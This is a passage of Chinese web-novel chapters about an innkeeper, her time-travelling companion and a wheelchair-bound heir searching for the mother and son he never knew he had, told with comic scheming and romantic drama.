两人返回大堂,秦绵绵从客栈储藏室翻出来一些粗绳,两人开始捆那些昏迷的黑衣人。 一个个捆得结结实实,如同串葫芦一般,堆放在角落,确保他们醒来也无法动弹。 做完后秦绵绵进了厨房,片刻之后,两碗热气腾腾,但卖相实在不敢恭维,甚至有些焦黑的面条被端了出来。 “先吃点东西吧。”秦绵绵将其中一碗推到裴应见面前。 裴应见看着碗里那坨黑乎乎、散发着诡异气息的不明物体,却已十分淡定,面不改色地接了过来,拿起筷子,神色自若地吃了起来,仿佛在品尝什么山珍海味。 秦绵绵自己也拿起筷子,慢慢吃着,心中却在盘算着接下来的事情。 良久,她放下筷子,掏出手机,拨通了一个号码。 电话响了几声,很快被接起,一个沉稳而带着些许沙哑的男声传来:“秦小姐?” “盛意,是我。身体恢复得如何?” 回来之后,秦绵绵把盛意安排到了海城第一医院的VIP病房养伤。 “托您的福,好的非常快。”盛意的声音带着一丝恭敬,“裴先生如何?是否又有麻烦,需要我做什么吗?” 秦绵绵想了想,把朱七妹和朱小宝与萧玦的事情说了。 “了解萧玦这方面的事情吗?” 盛意有些惊讶: “倒是从未听说过萧玦有孩子的事。萧玦虽然天残,但凭着萧家的背景和他那张脸,身边从来不缺女人,莺莺燕燕换得比衣服还快,最长的也没听说超过一个月的。” “那些女人大多是图他的钱和势,主动往上扑。以他的性子,就算有女人怀了孩子,恐怕也不会让孩子没名没分生下来。或者……是哪个女人离开他之后,偷偷瞒着他生下来的?” 第225章 我带他走 盛意的猜测,让秦绵绵想到了朱七妹那张绝望而隐忍的脸。 “京城那边,关于他这方面,一点风声都没有?”秦绵绵又问。 “至少我没听说过。”盛意肯定地说道,“萧家那样的人家,如果知道有子嗣流落在外,不可能一点动静都没有。” 秦绵绵眸光微沉,看来,萧玦和朱七妹之间的纠葛,远比她想象的要复杂。 挂了电话,秦绵绵打开浏览器输入“萧玦”二字。 瞬间关于这位京城萧家太子爷的花边新闻便铺天盖地涌了出来。 照片上的萧玦,即便坐在轮椅上,也难掩那股子阴鸷而又带着病态的俊美。 他身边的女伴,如走马灯般换个不停,每一位都堪称绝色,或清纯,或妖娆,或知性,或娇憨,环肥燕瘦,各具风情。 新闻标题也极尽香艳与夸张,“萧少夜会嫩模”,“萧玦与影后共度春宵”,“盘点萧玦历任女友,个个堪称人间尤物”…… 裴应见不知何时也凑了过来,目光在那些照片上扫过,眉头几不可查地蹙了一下。 “怎么?”秦绵绵侧头看他,“觉得这些女人不够漂亮?” 裴应见摇头:“不是。这些女子,无一例外,皆是容貌出众,身段窈窕。与朱七妹相比……” 他顿了顿,似乎在斟酌用词,“朱七妹容貌普通,甚至……有些粗犷,力气也大得异于常人。” 秦绵绵唇角勾起一抹戏谑:“哦?嫌弃七妹长得不尽如人意了?” 裴应见失笑,伸手揉了揉她的头发: “胡说什么。每个人都有其独特之处,容貌并非衡量一个人的唯一标准。我不是以貌取人,只是说出事实罢了。朱七妹的长相,实在不符合萧玦过往身边女伴的任何一个类型。她不是那种让人惊艳的美女,也不是柔弱无骨、需要男人保护的类型。你不觉得奇怪吗?” 秦绵绵心中微动,看向他的目光便略带了一分欣赏之色。面上却不显,只是轻轻“嗯”了一声,算是认同了他的说法。 继续滑动着屏幕,试图从那些纷乱的信息中找出些蛛丝马迹。 然而,关于萧玦的私生活报道虽多,却都停留在表面,深挖的内容几乎没有。萧家的势力,显然将这些事情控制得很好。 “我去看看七妹和小宝。”秦绵绵收起手机,起身朝宿舍区走去。 她特意去厨房,用温水化开了一些之前备好的安神药物,又取了些易消化的糕点。 敲开朱七妹的房门,朱七妹坐在床边,怀里紧紧抱着朱小宝。 孩子许是之前受了惊吓,又或是药物的作用,睡得并不安稳,小小的眉头蹙着。 而朱七妹原本就苍白的脸色此刻更是没有一丝血色,眼神空洞,带着一种近乎死寂的绝望。 见到秦绵绵进来,她也只是麻木地抬了抬眼皮。 “七妹,喝点水,吃点东西。”秦绵绵将水杯和糕点放在床头的小几上。 朱七妹没有动,依旧维持着原来的姿势,仿佛一尊石雕。 秦绵绵也不催促,静静地在一旁等着。 许久,朱七妹才缓缓地转过头,看向秦绵绵。她的嘴唇翕动了几下,最终还是抬起了手,用手语比划起来。 她的动作很慢,带着一种深深的疲惫。 【我是从京城逃出来的。】 【当时怀着小宝……他也找了我一段时间,我东躲西藏,后来生下了小宝……小宝虽然没有见过萧玦,但小的时候,只要一听到萧玦的消息就会生病,……】 【这次他突然病倒,我就有预感他会找来……他真的找来了。】 朱七妹比划到这里,眼泪无声地滑落,滴落在朱小宝的额发上。 她看着朱七妹与从前判若两人的那副哀莫大于心死的模样,叹了口气: “你别多想。萧玦这次来海城,并不是冲着你们来的。他甚至可能都不知道你们在这里。他是为了别的事情,来找我。” 朱七妹微微点头。 但也没再说话。 秦绵绵虽然很是好奇她跟萧玦的过往,但见她不愿多说,便也不再多问。 秦绵绵安抚了朱七妹几句,哄她跟小宝一起睡下。 出来之后,看着大堂角落里的一堆黑衣人,便忍不住跟裴应见讨论起了怎么对付萧玦。 既然答应了朱七妹不杀他,萧玦的去留显然成了一个问题。 两人正没个头绪,客栈后院的门忽然“吱呀”一声又开了。 朱七妹牵着朱小宝走了出来,令人意外的是,她身旁还放着一个不大的行李包,看样子是匆匆收拾的。 朱小宝揉着惺忪的睡眼,显然还没完全清醒。 朱七妹的脸色依旧苍白,但眼神却比方才秦绵绵在房间里见到时多了一分决绝。 她走到秦绵绵和裴应见面前,深深鞠了一躬,然后比划起来。 【秦小姐,裴先生,多谢你们的收留和照顾。萧玦的事情,不能再给你们添麻烦了。我带他走。】 秦绵绵眉头蹙得更紧:“七妹,你这是做什么?萧玦那种人,你一个人带着小宝,怎么应付得了他?” 朱七妹摇了摇头,又比划道:【他伤得很重,暂时翻不起风浪。我们之间的恩怨也该有个了结。】 裴应见轻轻按住秦绵绵的肩膀,对她摇了摇头,然后转向朱七妹:“萧玦身上的炸弹必须拆除。他现在的情况,我们也不能保证他不会做出什么疯狂的举动。” 朱七妹点了点头。 秦绵绵也不再坚持,叹了口气道:“路上万事小心。有任何需要,随时联系我。” 秦绵绵操控陷阱缓缓打开,露出了底下昏迷不醒的萧玦。 裴应见跳下去把人弄了上来。 秦绵绵从储藏室取来专业的工具。 “幸好我学的杂,什么东西都会一点。” 拆除炸弹的过程比想象中要顺利,秦绵绵动作迅速而精准,很快便将那危险装置从萧玦胸前取了下来,彻底破坏掉。 萧玦依旧昏迷,他腿上的伤势很重,面具已经脱落,露出一张苍白到毫无血色的脸,即便是昏迷中,眉头也紧紧皱着,似乎在承受巨大的痛苦。 第226章 她又不见了 朱七妹望着他,眼神复杂,有恨,有怨,也有一丝难以察觉的怜悯。 秦绵绵叫了一辆相熟的出租车,将萧玦、朱七妹和朱小宝送上车,看着出租车消失在夜色中,秦绵绵才重重地舒了口气。 “剩下的那些人,怎么处理?”裴应见问道,他指的是大堂角落里那串粽子似的黑衣人。 秦绵绵眼中闪过一抹冷意:“送他们去个好地方。” 秦绵绵搞来一辆货车,将那些黑衣人一个个弄上去,连夜驶向了景区附近最偏僻的一处深山。 月黑风高,山路崎岖,货车在林间穿梭,最终停在了一处荒无人烟的山坳。 将人扔下,又仔细检查了捆绑的绳索,确保他们一时半会儿醒不过来也挣脱不了,秦绵绵和裴应见才驾车返回。 回到客栈,天边已经泛起了鱼肚白。 简单洗漱过后,两人回房歇下。 然而谁也没有想到,清晨的阳光刚刚透过窗棂洒进大堂,客栈的门就被人从外面猛地推开。 一道狼狈不堪的身影踉跄着冲了进来,带着一身的寒气和尘土。 不是别人,正是昨天刚刚被送走的萧玦。 他脸色比昨夜更加惨白。 此刻,他那双布满血丝的眼睛死死盯着秦绵绵,声音嘶哑得如同破锣:“他们人呢?!” 秦绵绵和裴应见对视一眼。 “这话应该我问你才对。你不是跟七妹和小宝一起离开的吗?” 萧玦脸上的血色瞬间褪得一干二净,那双本就充斥着疯狂的眼眸,此刻更是漫上了绝望和死灰。 “……她带着小宝……不见了!” 萧玦的声音嘶哑得几乎不成调,每一个字都像是从喉咙深处硬生生挤出来的,带着绝望的破音。 “……她明明答应我了……” “她说愿意带小宝跟我回京城……怎么会……怎么会突然不见了?” “……我竟然有个儿子……那么大的儿子……” “可他们……他们根本不想跟我在一起!他们都在骗我!从头到尾都在骗我!” 萧玦此刻状态有点不对劲,看起来既懊悔又疯癫。 秦绵绵看着他这副既可怜又可笑的模样,眉头蹙起,语气嫌弃: “行了,闭嘴吧。哭哭啼啼的样子,真是脏了我客栈的地。你还是之前那副冷酷无情、一心求死的模样,比较让人看得顺眼。” 萧玦被她这番话噎得一口气差点没上来,脸上青一阵白一阵。 “看什么看,不服气?”秦绵绵冷笑一声,抱臂看着他,“怎么,还想故技重施,拿那套同归于尽的把戏来威胁我?可惜啊,你现在连坐都坐不稳,更别提你身上那宝贝炸弹,已经被我拆成了废铁。” 萧玦胸膛剧烈起伏,想发作,却又硬生生忍住,眼中的怒火渐渐被一种更深的无力感取代。 的确,现在的局势很微妙。 他要找人,可偏偏他要找的人都跟面前这个女人有关系。 姜飞飞被她掳走了,而朱七妹和小宝的行踪,也跟她脱不了干系。 哪怕秦绵绵说不知道,以朱七妹对她的信任,关于她的线索也跟被秦绵绵捏在手里没什么两样。 一念至此,萧玦心中愤懑更甚。 秦绵绵好整以暇地欣赏着萧玦脸上那精彩纷呈的表情,从愤怒到不甘,再到憋屈和隐忍,最后化为一片死灰。 她发现自己确实很喜欢看他这副吃瘪却又无可奈何的模样,这简直比欣赏什么名山大川都有趣。 萧玦喘额头上冷汗涔涔,嘴唇也因失血而泛白。 他昨天伤的不轻,又这么折腾了两趟,此刻已经彻底是强弩之末。 他强撑着一口气,声音虚弱却带着不容置疑的命令口吻:“给我……找最好的医疗团队……” “哦?”秦绵绵挑了挑眉,“萧先生,你是不是搞错了什么?我为什么要医治你?要不是朱七妹阻止,此时此刻你的尸体早就被我扔到后山喂狼了。” “实话实说,我巴不得你现在就断气,省得看着心烦。你要是再不闭嘴,信不信我现在就把你重新扔回那个陷阱里去?让你好好体验一下叫天天不应,叫地地不灵的滋味。” “你……你不敢!七妹她说了不让你杀我!” 秦绵绵撇撇嘴,还没等她开口。 “聒噪。” 一直沉默地站在秦绵绵身侧的裴应见突然冷冷吐出两个字。 话音未落,他手腕微不可查地一动,一道乌光快如闪电,精准无误地射向萧玦。 “唔!”萧玦闷哼一声,话语尽数卡在了喉咙里,只剩下含糊不清的“嗬嗬”声。 他惊恐地摸向自己的脖颈,却什么也没摸到。 秦绵绵乐了。 是裴应见出手点了他的哑穴。 但萧玦却肯定不知道这是怎么回事,只是现在跟朱七妹一样,是哑巴了。 萧玦又惊又怒,他狠狠地瞪着裴应见,又转向秦绵绵,眼神像要喷出火来。 秦绵绵递给他一个“你活该”的眼神,然后慢悠悠地走到柜台后,取来了纸和笔,扔在萧玦面前,居高临下地看着他:“想说什么,写。” 萧玦气得浑身发抖,但他身上的伤势在持续恶化,尤其是腿,再不救治,这条仅剩腿恐怕也要废了。 他深吸一口气,愤恨地捡起笔,在纸上歪歪扭扭地写下一行字: 【给我治伤!我可以给钱!】 秦绵绵轻笑一声:“你觉得你的命,或者说你这条腿,值多少钱?” 萧玦怒目而视,又在纸上狠狠写道:【开个价!】 秦绵绵伸出一根手指,在萧玦面前晃了晃。 萧玦瞳孔一缩,露出一丝不屑。 他以为秦绵绵会狮子大开口,但一百万对他而言,不过是九牛一毛。 秦绵绵却摇了摇头,唇角勾起一抹狡黠的弧度,缓缓吐出三个字:“一个亿……美金。” ! 如果萧玦还能说话,此刻怕是要一口老血喷出来。 他死死盯着秦绵绵,眼睛瞪得像要裂开,那眼神仿佛在说“你怎么不去抢?!” 秦绵绵笑得越发灿烂: “怎么?萧先生觉得贵了?这可是买你一条命,还有治疗其他内伤外伤,还有住宿吃喝,衣物出行等等的打包价。以你的身份,这贵吗?” 第227章 天煞孤星 裴应见摇头帮腔:“不贵。” “当然,你也可以选择不给,就这么拖着,看看是你先找到人,还是先失血过多死在这里。” 萧玦捏着笔的手因为用力,指节都泛白了,手背上青筋毕露。 一个亿美金!这个女人简直是趁火打劫! 可是…… 他看着自己那条已经开始失去知觉的腿,感受着身体里不断流失的力气,还有脑海中朱小宝那张酷似自己的小脸…… 良久,他几乎是将牙齿咬碎,才在纸上重重地写下一个字: 【好!!!】 秦绵绵看着纸上那个几乎要将纸张戳破的“好”字,以及后面三个力透纸背的感叹号,满意地扬了扬眉。 “识时务者为俊杰。萧先生是聪明人。” 她笑眯眯地让萧玦打了张欠条。 “京圈太子爷,想必不会赖账。” 有了钱,办事效率自然是杠杠的。 秦绵绵当即联系了相熟的私人医生,又从黑市渠道弄来了最新型的便携式医疗设备。 一番紧急处理,总算是将萧玦那条伤腿暂时保住,至于后续的恢复,那就得看他自己的造化和钱包的厚度了。 萧玦被安排在客栈二楼的一间客房。 他本以为出了这样的血,一定是包下整个客栈的。 秦绵绵却一口回绝:“萧先生,你想多了。我这客栈是开门做生意的,概不包场。你要是觉得吵,可以戴耳塞。或者,你现在就可以离开,我不拦你。” 萧玦被噎得差点又是一口老血,只能愤恨地用眼神瞪她,然后认命地住进了那间普通的客房。 没有特殊待遇,萧玦过的不算好,除了必要的治疗,他便坐在窗边,阴沉着脸,像一尊即将爆发的火山。 裴应见看着秦绵绵笑颜如花的脸,忍不住失笑:“秦姑娘可是真的财迷心窍。” “胡说。”秦绵绵头认真反驳,“我这叫取之有道,用之有方。他萧玦的钱,来路未必干净,我替他花销花销,也算是为民除害了。” 裴应见失笑摇头,不再与她争辩。他知道,她有她的道理。 半天之后,那些被秦绵绵和裴应见扔在深山老林的黑衣人,总算是互相解开了绳索,一个个灰头土脸、狼狈不堪地摸了回来。 当他们看到自家主子虽然面色惨白、腿上缠着厚厚的绷带,但好歹还活着,并且“住”在秦绵绵的客栈时,那表情简直比见了鬼还要精彩。 萧玦看到他们,积压的怒火终于有了宣泄的出口。 他抓过纸笔,龙飞凤舞地写下一行字,狠狠拍在桌上:【挖地三尺,也要把朱七妹和小宝给我找出来!活要见人,死要见尸!】 于是,一场声势浩大的寻人行动,以海城为圆心,如一张巨网般向全国各地辐射开去。 印着朱七妹和朱小宝照片的悬赏通告,一夜之间贴满了海城的大街小巷,甚至出现在了各大网络平台。 私人飞机在低空盘旋,豪华游艇在近海逡巡,专业的搜救队伍携带各种高精尖设备,几乎将海城翻了个底朝天。 萧玦甚至动用了萧家在各地的势力,黑白两道齐齐出动,阵仗之大,前所未有。 一时间,整个海城都因为这场突如其来的“寻亲大作战”而变得喧嚣起来。 一晃三天过去。 海城几乎被萧玦的人掘地三尺,连下水道都检查了好几遍,却连朱七妹母子的一根头发丝都没找到。 人没找到,萧玦寻人的新闻却因为阵仗太大,加上他那张即便病态也依旧俊美惹眼的脸,以及“京城萧家太子爷”的身份,迅速冲上了全国热搜。 #萧氏太子爷海城寻妻儿# #神秘女子携子失踪为哪般# #盘点京城萧少不为人知的过往# 各种版本的猜测和八卦层出不穷,网友们吃瓜吃得不亦乐乎。 秦绵绵坐在柜台后,一边嗑着瓜子,一边刷着手机上的本地新闻。 “啧啧,这手笔,真是阔绰。”她将手机屏幕转向裴应见,“你看这标题,‘痴情太子爷千里寻妻觅子,巨额悬赏感动全城’……写得可真够煽情的。” 裴应见瞥了一眼,淡淡道:“他倒是舍得下本钱。” 秦绵绵念了几条新闻底下离谱的评论,乐不可支: “这下好了,全国人民都知道萧玦有个儿子流落在外了,简直痴情感动全网。话说回来,这位萧家太子爷找妻儿的的态度,似乎比自己亲妹妹还上心……我看他这几天好像都忘了自己还有个妹妹了吧。” 这话说的声音不大不小,刚好能飘到二楼。 果然,没过多久,楼梯上传来轮椅轱辘压过木地板的“咯吱”声。 萧玦自己推着轮椅,面色阴沉地出现在楼梯口。 他几天没好好休息,眼下的乌青更重,嘴唇也毫无血色,唯独那双眼睛,依旧带着狠戾,死死盯着秦绵绵。 秦绵绵像是才发现他似的,挑了挑眉:“哟,萧先生今天有兴致下楼了?我还以为你打算在楼上参禅悟道,思考一下人生呢。” 萧玦的轮椅是特制的,可以自己下楼。 他慢慢下了楼,走到秦绵绵对面。 秦绵绵却好似没看到他这幅要吃人的样子,顿了顿,用一种带着几分戏谑又几分认真的语气,转头对裴应见说道: “你知道我四叔他玄术不错吧,我呢,跟着他也学了点皮毛。前几天我闲来无事,给咱们这位萧先生算过一卦。” 裴应见立刻起身去给秦绵绵倒了杯茶,态度恭敬地放在她这位“大师”面前。 “愿闻其详。” 秦绵绵点点头,很满意他的上道。 更摆出一副世外高人的姿态: “这位萧先生啊,命格奇特,乃是天煞孤星。不光自己生来天残,还特别克身边亲近的人。你看,他父母早逝,妹妹被拐,老婆儿子也都对他避如蛇蝎……” “而这也是他特别在意姜飞飞和朱七妹母子的原因,毕竟人缺什么就想补什么嘛。” 萧玦瞳孔骤然一缩,放在轮椅上的手因为用力而骨节发白,青筋暴起。 他想反驳,想怒斥秦绵绵胡说八道,可偏偏她说的事实,又让他无从辩驳。 第228章 心疾 半晌,只能重重地吐出三个字:“你胡说!” “我胡说?”秦绵绵嗤笑一声,“萧玦啊萧玦,你不光是天煞孤星,还是个不折不扣的渣男。” “当初朱七妹跟着你的时候,你珍惜过吗?人家给你生了个那么大的儿子,你连知道都不知道。现在好了,人跑了,你在这儿演一出‘追妻火葬场’的深情戏码给谁看呢?” “感动天感动地,感动了全网的吃瓜群众,就是感动不了当事人。” 萧玦胸膛剧烈起伏:“你什么都不知道!当年的事情……很复杂!” 秦绵绵像是听到了什么天大的笑话:“能有多复杂?复杂到你连自己有个亲生儿子都不知道?复杂到朱七妹宁愿带着孩子东躲西藏,也不愿意让你找到?” “还有小宝,我认识小家伙这么久,他一直都身强体壮,健康的很,不光学习成绩优异,还乐于助人,尤其爱帮着我打坏人……可七妹却说,自打出生后,只要一有关于你的消息,小宝就会莫名其妙生病……你说这是怎么回事?” 萧玦脸上的血色“唰”地一下褪得干干净净,那双眼睛里第一次露出了茫然和一丝难以置信的痛苦。 秦绵绵语气冰冷,带着毫不掩饰的鄙夷:“所以,萧玦,别再说什么你多在乎他们母子了。事实就是,你根本不在意!否则,你怎么可能这么多年,连自己有个孩子都不知道?” “你的出现,对他们而言,不是惊喜,是惊吓!是灾难!” 萧玦张了张嘴,想说什么,却一个字也说不出来。 他脸上的表情从震惊到痛苦,再到一种深深的懊悔和无力,整个人仿佛瞬间被抽走了所有的力气和支撑。 秦绵绵看着他这副失魂落魄的模样,默默翻了一个白眼。 半晌,萧玦再也没有说一个字,转身推着轮椅,悄无声息地又回了楼上。那背影,竟有几分萧索寥落。 秦绵绵看着他消失在楼梯拐角,这才收回视线,哼着不成调的小曲儿,又去厨房忙活。 不多时,一盘颜色诡异,散发着难以名状气味的“爱心晚餐”摆在了裴应见面前。 裴应见面上却依旧是那副云淡风轻的模样,拿起筷子,神色自若地开始品尝。 秦绵绵托着腮帮子,笑眯眯地看着他:“怎么样?今天是不是又有了新的突破?” “……嗯,味道……很独特。” 秦绵绵满意地点点头:“那是自然,我可是用了心的。” 裴应见微笑不语,就是埋头吃。 眼看天色渐晚,客栈大堂里只剩下他们两人。 裴应见放下筷子,开口道:“萧玦这边,短时间内应该不会再有什么大动作了,我得回大雍一趟。” 秦绵绵挑了挑眉,并不意外。 裴应见继续道:“一来,姜飞飞那边,我得去看看她有没有生什么幺蛾子,二来云承月的身体,拖不得了,我想尽快为他医治。” 听到“云承月”三个字,秦绵绵心中微动。 她不由想起了从游轮落入海中后,在救生艇上的那个梦境。 梦中云承月的状况确实很不好,她在梦里还在想着要是能把云承月带回现代医治就好了。 此刻听他提起,竟跟自己当时想法不谋而合。 不知道怎的,秦绵绵心中隐隐生起一丝若有若无的怀疑,如同水底的暗流,悄然涌动。 “他的病……很棘手?”秦绵绵状似随意地问道。 裴应见眸色沉了沉:“他是先天心疾,在大雍无人能医,就连他自己也不行。但在这边……” 先心病在现代虽然还是一个很严重的病,但却并不完全是不能医治的绝症了。 能不能治,能治到什么程度,全看手里钞票。 钱他们肯定是不缺的,刚刚还从萧玦手里坑了一个亿呢。 萧玦是个要面子的人,他的手下回来之后,他立刻就给了钱,把欠条拿去撕了。 现在这一个亿跟之前秦绵绵在游轮拍卖上赚到的另外几个亿,就这么大喇喇地躺在她的银行账户上。 医疗能力国内也是非常先进的,秦绵绵虽然没有打听过,但下意识她就知道这个病肯定能治。 不过还有一些其他的问题,比如身份问题。 云承月一个凭空出现的古代人,没有户籍,没有身份证明,想做正规的医疗救治,还是这种大病,有点棘手。 “我会想办法联系一下。”秦绵绵道。 裴应见眼中闪过一丝感激:“多谢。” 秦绵绵撇撇嘴,刚想揶揄他一句,裴应见却起身,走到了她身边。 月光透过窗棂,在他身上镀上一层清辉。 他深深看了她一眼,眸中情绪翻涌,似有千言万语,最终却只是低声嘱咐: “我不在的时候,你万事小心。若有解决不了的麻烦,不要硬抗。我很快就会回来的。” “知道了,我又不是三岁小孩。”秦绵绵挥挥手,语气轻松。 裴应见唇角微勾,还想再说些什么,最终却只是伸出手,极轻极快地在她发顶揉了一下,动作轻柔得像是一片羽毛拂过。 “等我。” 话音落下,他的周身便忽然浮起一片白雾,接着他的身影便悄无声息地消失了。 饶是早就知道他来来去去就是这种样子,但再次看到这家伙突然不见,秦绵绵心里还是有点不是滋味。 秦绵绵坐在原地,许久没有动弹。 翌日清晨,天刚蒙蒙亮,秦绵绵简单洗漱过后,便拿起手机拨通了钱老先生的电话。 “喂,钱老……” 她话还没说完,电话那头就传来钱老先生中气十足的声音: “小秦丫头,没事,你别怕那个姓萧的小子,我老头子马上给你撑腰去!” “嘟嘟嘟……” 说完,电话被钱老先生单方面挂断了。 秦绵绵举着手机,有些发懵。 正疑惑间,客栈的门就被人从外面“嘭”的一声推开,钱老先生带着一股子风风火火的气势,精神矍铄地大步走了进来。 “丫头,没受委屈吧?”钱老先生一见秦绵绵,便上下打量着她,语气关切。 第229章 独家秘制黑暗料理 秦绵绵摇了摇头:“钱老,您这是……” “我这不是听说那个京城的萧家小子在你这儿闹腾吗?”钱老先生重重一拍柜台,“我倒要看看,谁敢在我的地盘上欺负我的人!” 秦绵绵心中一暖,随即又有些好奇:“钱老,您怎么知道他在这儿?” 钱老先生哼了一声,得意道: “你这客栈里发生这么大的动静,虽然被压下去了,但哪能瞒得过我老头子的眼睛?实话告诉你,当初我和老陈突然跑来你这儿住,也不是心血来潮。” 这事秦绵绵上游轮之前就猜到了,但今天突然明说出来,还是有些意外。 钱老先生继续道: “其实当初我们就是收到消息,说有大人物要对你不利,我和陈启明不放心,这才特意过来照应一下。他姓萧的是京城太子爷,我和陈启明也不是好惹的,海城这地盘,也得听我们几句话!” 钱老先生声音洪亮,话语间透着一股子不容置疑的威严。声音不小,自然也传到了二楼的客房。 没过多久,轮椅滚动的声音再次响起,萧玦推着轮椅,面色沉沉地从楼梯上下来。 他眼底青乌更重,嘴唇干裂,显然一夜未曾好眠,这种憔悴让他显得愈发狠戾阴沉。 萧玦停在钱老先生面前,目光锐利地扫过他,又落在秦绵绵身上:“钱家底蕴是不错,但前段日子刚被一个外来的小子偷了家……钱家小辈没有一个成器的,你就找这种人做帮手?” 萧玦这话似乎对钱家和姚祁都很熟悉,而且似乎也很看不上书香世家的钱家。 钱老先生闻言,眉头一竖,毫不客气地回视萧玦,语气森然: “我老头子是家教有失,但如今已经拨乱反正,也不是你一个外面的小子能指手画脚的。钱家在海城土生土长,你一个京城的小辈,跑到我们的地盘上,对我的晚辈指手画脚,我老头子可不乐意。” “我萧玦行事,无须向任何人解释。”萧玦冷笑。 钱老先生不怒反笑:“解释?你还没那个资格。小子,我告诉你,你若想在海城找人,我不管。但你若敢动秦丫头一根汗毛,我钱某人这条老命不要,也要让你萧家在海城寸步难行!” 他话语掷地有声,带着一股子腥风血雨的肃杀之气,并非虚张声势。 萧玦瞳孔微缩,他能感受到钱老先生身上那股真正的杀伐果断。 钱老先生的过往,他也是知道的,这位不光是学者,年轻的时候也是曾亲手跟敌人交锋过的狠人,绝非寻常富贵人家的老头子。 而萧玦的背景,钱老先生也很清楚,但他却也丝毫不惧。 不仅不惧,甚至大有来了客栈就想替秦绵绵教训一下这个混小子的意思。 两人都不说话了,彼此望着对方,大堂的气氛一下子有些紧张。 最终,萧玦的气焰在钱老先生凛然的气势下,渐渐消弭。 钱老先生见他如此,倒颇有些意外。 再看看秦绵绵在一旁老神在在,甚至还含着一丝笑意的模样,心中顿时闪过一丝了然。 看来这个京圈太子爷,已经让小秦丫头给收拾过一番了。 钱老先生一念至此,忍不住生出许多欣慰,又看了看秦绵绵,心中得意——这丫头,果然是他老头子瞧得上的好丫头,能把阴狠凶戾的萧玦折腾成这副模样,还让他有苦说不出,不错,手段高明,妙,妙啊! 钱老先生就这么大喇喇地在客栈住了下来。 但让秦绵绵苦恼的是,客栈里如今没有正经厨子。 罗小胖大厨被父母拐回京城,姚祁接替了一阵也回了京没了音信,昨晚自学成才做饭好吃的裴应见也走了。 秦绵绵怕怠慢了这位老人家,立刻火速从海城市里高价聘请了一位厨师,变着花样给钱老先生做起好吃的来。 中午,客栈的厨房里叮当作响,不一会儿,香气便从厨房飘了出来。钱老先生坐在桌前,眯着眼睛享受着那份久违的烟火气。 萧玦坐在二楼,透过窗户,看着楼下厨房里进进出出的身影,还有钱老先生脸上那份惬意,心头不禁升起一丝期待。 他这几天食不甘味,又失血过多,早就想好好吃一顿了。 午饭时分,丰盛的菜肴摆满了钱老先生面前的桌子:清蒸石斑、金蒜大虾、脆皮烧鹅……色香味俱全。 钱老先生拿起筷子,赞不绝口。 然而,当萧玦的餐盘被端上来时,他的脸色瞬间僵硬了。 盘子里躺着一坨颜色诡异、形状难以名状的物体,散发着一股说不清道不明的气味。 秦绵绵笑眯眯地看着他,解释道:“萧先生,这是我特意为你准备的‘爱心午餐’。你瞧,颜色多鲜艳,营养多丰富,这可是独家秘制,外面有钱都吃不到的!” 萧玦的嘴角抽搐了一下,他看着那坨不明物体,又看了看钱老先生面前的珍馐,强忍着胃部的不适,冷声道: “秦绵绵,你别太过分!” 秦绵绵无辜地眨了眨眼。 “这可是我亲手为你做的,别人想吃还没这待遇呢!”她顿了顿,语气里带着几分促狭,“而且,我做的东西还有玄术加成,对你的特殊体质有特殊的调理作用,能帮你消消身上的戾气,说不定还能让你少克几个人呢!” 钱老先生闻言,忍不住哈哈大笑起来,他一边夹着一块烧鹅,一边揶揄道: “萧小子,你可别不识好歹。秦丫头的厨艺,那可是能化腐朽为神奇的。你看裴小子,吃了她的饭,整个人都神清气爽,精神头十足。你这身子骨,也该好好补补了!” 萧玦的脸色青一阵白一阵,他看着钱老先生那副幸灾乐祸的模样,又瞥了一眼盘中那坨“奇迹”,最终还是没能忍住,负气地推开轮椅,头也不回地回了楼上。 “哎,萧先生,别走啊!浪费粮食可是要遭天谴的!”秦绵绵还欠欠的在后面喊,“对了,你就算不吃这顿饭也是照样要收钱的哈!” 钱老先生摇了摇头,笑得眼角的皱纹都深了几分:“这小子,就是欠收拾。” 秦绵绵哼着小曲儿,收拾着萧玦留下的餐盘。 结果刚走到楼梯口,眼尖地发现地上有张照片。 第230章 老旧照片上的故人 她弯腰捡了起来,是一张有些发黄的旧照片。 钱老先生立刻也凑过来:“这是什么?” 两人定睛一看,照片上是一个扎着马尾辫的少女,穿着洗得发白的校服,笑容明媚,眼底带着一股子不服输的劲儿。 她的长相并不算特别惊艳,但那份扑面而来的阳光气息,却让人觉得很舒服。 秦绵绵眉梢微挑,“这姑娘……跟朱七妹有五分相像。” 钱老先生的眼神深邃了几分,缓缓开口道:“这照片有些年头了,如果我猜的不错的话,这就是你们年轻人所说的什么……白月光。” 秦绵绵一怔:“萧玦的白月光?” 钱老先生点点头:“我调查过萧玦。这小子少年时期因为天生残疾,曾被同龄人霸凌得厉害,一度想不开,跑到桥上自杀。是一个小姑娘偶然路过,硬生生把他从鬼门关拉了回来。” 秦绵绵听得有些出神,她没想到萧玦还有这样一段过去。 “后来呢?”她追问。 “后来啊……这姑娘救了他之后,没过多久就举家搬迁,消失得无影无踪。萧玦好了之后,曾不惜动用萧家所有的势力,挖地三尺也要把她找出来。这一找,就是十几年,一直没放弃……” 秦绵绵看着照片上那个笑容灿烂的少女,又想起朱七妹那张普通而略微清秀的脸,心中忽然明了。 “所以……”秦绵绵若有所思地看向楼上,“朱七妹不是普通的莺莺燕燕,她……是个替身?” 钱老先生眼中也闪过一丝了然:“八九不离十!难怪他会对朱七妹母子如此执着,因为朱七妹身上有他白月光的影子!” 话音刚落,楼梯处便传来一阵急促的轮椅滚动声。 萧玦去而复返,脸色比方才还要难看几分,额角甚至渗出了细密的汗珠,显然是察觉到照片不见,急急忙忙下来寻找。 他一眼就看到了秦绵绵捏在指尖的那张照片,瞳孔骤然一缩:“照片还给我!” 秦绵绵将照片随手扬了扬,挑眉看他:“萧先生这么紧张,莫非这照片上的人,对你很重要?” “与你无关!把它还给我!”萧玦伸出手,语气带着不容置喙的命令,但仔细听,尾音却有一丝不易察觉的颤抖。 秦绵绵嗤笑一声,非但没给,反而将照片举到眼前:“让我猜猜,这位就是你心心念念,找了十几年,甚至不惜找个替身的白月光?” 萧玦的脸色“唰”地一下变得惨白,嘴唇翕动了几下,却说不出反驳的话。 “你不说,我就当默认了。”秦绵绵晃了晃手里的照片,“七妹的事情,就跟我有关系。你要是不说清楚,我可不保证这张照片会不会不小心……撕拉——” 她做了个撕纸的口型和轻微的动作。 “别!”萧玦几乎是吼出来的,胸膛剧烈起伏,眼底布满了红血丝,像是濒临崩溃的野兽,“……她是我的一位故人。已经……不在了。这是她留下的唯一的遗物。” 说到最后几个字,他的声音低沉下去,带着一种深切的哀恸。 